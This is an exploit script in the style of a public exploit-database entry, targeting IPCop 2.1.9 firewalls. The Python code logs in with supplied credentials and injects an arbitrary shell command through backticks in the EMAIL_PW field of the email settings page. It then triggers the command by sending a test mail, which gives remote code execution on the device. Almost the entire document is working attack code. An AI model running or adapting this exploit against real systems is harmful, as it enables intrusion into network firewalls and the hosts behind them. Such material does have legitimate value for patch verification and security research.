# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated) # Date: 02/08/2021 # Exploit Author: Mücahit Saratar # Vendor Homepage: https://www.ipcop.org/ # Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg # Version: 2.1.9 # Tested on: parrot os 5.7.0-2parrot2-amd64 #!/usr/bin/python3 import requests as R import os import sys import base64 import urllib3 R.packages.urllib3.disable_warnings() R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: # no pyopenssl support used / needed / available pass try: hostport = sys.argv[1] assert hostport[:8] == "https://" and hostport[-1] == "/" url = hostport + "cgi-bin/email.cgi" username = sys.argv[2].encode() password = sys.argv[3].encode() auth = base64.b64encode(username+b":"+password).decode() command = sys.argv[4] assert " " in command except: print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >") exit(1) rheader = {"Authorization":"Basic "+auth, "Origin": hostport, "Referer": url} rdata = { "EMAIL_SERVER": "mucahitsaratar.github.io", "EMAIL_USE_TLS": "auto", "EMAIL_SERVER_PORT": "1337", "EMAIL_USR": "ipcop@localdomain", "EMAIL_PW": f"`{command}`", "EMAIL_FROM": "ipcop@localdomainn", "EMAIL_TO": "ipcop@localdomainnn", "ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language } R.post(url,headers=rheader, data=rdata, verify=False) rdata["ACTION"] = "Test postası gönder" # send test mail R.post(url,headers=rheader, data=rdata, verify=False)